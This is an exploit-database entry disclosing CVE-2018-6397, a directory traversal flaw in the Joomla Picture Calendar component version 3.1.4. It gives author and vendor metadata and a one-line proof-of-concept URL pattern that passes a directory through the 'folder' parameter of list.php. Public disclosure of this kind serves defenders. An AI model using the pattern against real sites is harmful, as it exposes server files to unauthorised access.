发布 2018-01-30 漏洞条目

Joomla! Component Picture Calendar for Joomla! 3.1.4 – Directory Traversal

Exploit Source

# # # # #

# Exploit Title: Joomla! Component Picture Calendar for Joomla 3.1.4 - Directory Traversal

# Dork: N/A

# Date: 30.01.2018

# Vendor Homepage: http://www.joomlacalendars.com/

# Software Link: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/picture-calendar-for-joomla/

# Version: 3.1.4

# Category: Webapps

# Tested on: WiN7_x64/KaLiLinuX_x64

# CVE: CVE-2018-6397

# # # # #

# Exploit Author: Ihsan Sencan

# Author Web: http://ihsan.net

# Author Social: @ihsansencan

# # # # #

# Description:

# Directory Traversal...

# Proof of Concept:

# 1)

# http://localhost/[PATH]/list.php?folder=[DIRECTORY]

# # # # #

相关漏洞条目